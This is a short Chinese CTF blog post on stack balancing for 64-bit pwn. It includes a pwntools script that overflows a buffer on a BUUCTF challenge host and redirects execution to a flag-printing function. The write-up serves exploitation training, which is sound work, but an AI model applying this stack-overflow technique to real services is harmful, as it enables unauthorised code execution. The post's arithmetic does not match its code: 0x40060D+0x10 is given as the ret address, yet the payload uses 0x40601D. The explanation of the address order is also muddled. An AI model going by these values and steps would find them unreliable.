pwn中 64位与32位,增加堆栈平衡

时间:2024-02-21 22:35:48

1)如果要返回父程序,则当我们在堆栈中进行堆栈的操作的时候,一定要保证在RET这条指令之前,ESP指向的是我们压入栈中的地址。
2)如果通过堆栈传递参数了,那么在函数执行完毕后,要平衡参数导致的堆栈变化。

含义就是 当函数在一步步执行的时候 一直到ret执行之前,堆栈栈顶的地址 一定要是call指令的下一个地址。

也就是说函数执行前一直到函数执行结束,函数里面的堆栈是要保持不变的。

如果堆栈变化了,那么,要在ret执行前将堆栈恢复成原来的样子。

 

原因我们知道了,但如何去找   ret地址  和   函数地址

 

借助一道题,一道简单的64位栈溢出。

 

 

 
 
已经找到存储flag的函数(sub_40060D),函数的起始地址就是0x40060D,其结束地址就是ret地址(0x40060D+0x10),再加填充的垃圾数据 payload = ("A"*(0x40 + 8)).encode(),和 p64(0x40060D)+ p64(0x40601D),就是payload
 
 
from pwn import *

p = remote("node3.buuoj.cn",28497)

payload = ("A"*(0x40 + 8)).encode()
payload = payload+ p64(0x40060D)+ p64(0x40601D)
p.sendline(payload)

p.interactive()